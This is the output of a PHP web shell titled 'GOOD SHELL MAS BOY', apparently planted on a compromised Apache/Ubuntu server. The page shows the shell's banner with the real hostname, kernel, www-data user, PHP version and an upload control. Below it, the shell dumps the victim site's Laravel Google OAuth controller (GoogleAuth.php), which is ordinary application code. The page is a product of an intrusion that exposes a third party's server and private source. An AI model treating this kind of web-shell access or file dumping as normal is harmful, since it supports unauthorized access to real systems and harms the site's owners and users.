GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: //proc/thread-self/cwd/app/Http/Controllers/GoogleAuth.php
<?php

namespace App\Http\Controllers;

use App\Models\User;
use Illuminate\Http\Request;
use App\Services\ApiEndpoints;
use Illuminate\Support\Facades\Log;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Session;
use Laravel\Socialite\Facades\Socialite;
use Carbon\Carbon;

class GoogleAuth extends Controller
{
    public function redirect(Request $request)
    {
        $role = $request->query('role');
        // return Socialite::driver('google')->redirect();
        return Socialite::driver('google')
            ->with(['prompt' => 'select_account'])
            ->redirect();
    }

    public function callback(Request $request)
    {
        try {
            $clientIp = request()->getClientIp();
            $device_name = Session::get("device_name");
            $google_user = Socialite::driver('google')->user();

            // If no user is found, register a new user
                $fullName = $google_user->getName();
                $nameParts = explode(' ', trim($fullName), 2);
                $profilePicture = $google_user->getAvatar();

                $body = [
                    'google_id' => $google_user->getId(),
                    'name' => $nameParts[0],
                    'lastname' => isset($nameParts[1]) ? $nameParts[1] : '',
                    'email' => $google_user->getEmail(),
                    'photo' => $profilePicture,
                    'nationality_id' => "1",
                    'role' => 'buyer',
                    'ip_address' => $clientIp,
                    'device_name' => $device_name,
                ];
                $response = Http::post(ApiEndpoints::google(), $body);

                if ($response->successful()) {
                    Session::flush();
                    $info = $response->json('message');
                    $user = $response->json('user');

                    $token = $response->json('token');

                    session(['user' => $user, 'token' => $token]);

                    $userCreatedAt = Carbon::parse($user['created_at']); // Convert to Carbon instance
                    $diffInSeconds = $userCreatedAt->diffInSeconds(now()); // Calculate the difference in seconds
                    if ($diffInSeconds <= 10) {
                        return redirect()->to('/complete-registration');
                    }

                    if ($user['role'] == 'seller' && $user['phone'] == null) {
                        Session::flash('success', 'Continue with NIN as a provider');
                        return redirect()->to('/nin-registration');
                    }

                    Session::flash('success', $info);

                    if (Session::get('redirect')) {
                        $this->addToFavorite();
                        return redirect()->to('/account/favorite');
                    } elseif (Session::get('url.intended')) {
                        return redirect()->intended('/services');
                    } else {
                        return redirect()->intended('/services');
                    }
                } else {
                    $info = $response->json('message');
                    Session::flash('error', $info);
                    return redirect()->to('/login');
                }
        } catch (\Throwable $th) {
            Log::info($th->getMessage());
            Session::flash('error', 'Something went wrong, try again with another email pls!');
            return redirect()->to('/login');
        }
    }
    private function addToFavorite()
    {
        try {
            $gig_slug = Session::get('gig_slug');
            $body = [
                'gig_slug' => $gig_slug,
            ];
            $apiEndpoints = new ApiEndpoints();
            $headers = $apiEndpoints->header();
            $response = Http::withHeaders($headers)
                ->withBody(json_encode($body), 'application/json')
                ->post(ApiEndpoints::addFavorites());
            if ($response->successful()) {
                Session::flash('success', $response->json()['message']);
            } else {
                Session::flash('error', $response->json()['message']);
            }
        } catch (\Throwable $e) {
            Log::error($e->getMessage());
            Session::flash('error', 'Something went wrong, try again with another email pls!');
            return redirect()->intended('/login');
        }
    }
}